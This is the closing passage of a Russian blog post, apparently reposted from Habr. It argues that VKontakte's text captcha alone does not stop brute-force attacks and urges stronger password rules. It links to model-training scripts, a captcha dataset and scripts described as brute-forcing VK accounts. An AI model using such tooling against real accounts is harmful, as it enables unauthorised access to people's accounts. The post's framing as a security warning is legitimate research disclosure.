Текстовая капча не только не спасает от роботов, но и губит систему, если она является единственной защитой от недобросовестных роботов. Также неожиданностью стало то, что такой IT-гигант, как ВКонтакте, доверяет защиту от брутфорса исключительно своей «мегакапче» (хотя, ради честности, стоит сказать, что она одна из самых сложных, из ранее мне встречавшихся). Также, по моему мнению, стоит ввести более жесткие положения для паролей — хотя бы условие несодержания имени/фамилии и даты рождения (правда 50% паролей пойдут в мусорку, но им туда и дорога?).

Если у вас есть свой проект, в котором используется текстовая капча, пожалуйста, поймите, что это более НЕ ЯВЛЯЕТСЯ защитой КАК ТАКОВОЙ. Позаботьтесь о безопасности сейчас, а то потом может уже быть слишком поздно.

Ну и, конечно, не используйте никакие публичные данные в своих паролях: сильному паролю — капча, не капча — всё нипочём!

Ссылки на source code:

https://github.com/imartemy1524/AITextCaptcha — Скрипты для обучения модели.

https://github.com/imartemy1524/vk_captcha/tree/main/VkHacker — Скрипты для брута аккаутов.

https://github.com/imartemy1524/vk_captcha — source код библиотеки vk_captcha

https://mega.nz/folder/H4kHDA6b#s2ZHPAnKcfwdgnhSByRGow — архив с 150к капчами ВК.

Отблагодарить автора за статью

Если Вам понравилась эта статья, Вы можете отблагодарить меня за проделанный труд материально по криптоадресам ниже:

BTC: bc1qc37ytj9ygycqhmt7dfeg0re5fekv0te7hk2hks

BCH: bitcoincash:qzffexvr8gw886gnrcfw9xemrhqr8zyg4s3zjvplg3

TRX/USDT|USDC(TRC20): TS6xHd68gi6vP2KauV7g8uhs4yAhmJK6PY

LTC: Li12vQRf2bRfwP1Cg4ZaxrPK9ae36g4ARo

ETH/usdt/usdc(ERC20): 0xD43F9388a0E6607D6D1eB22Dda819e1D40F1949c


ссылка на оригинал статьи https://habr.com/ru/post/673440/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *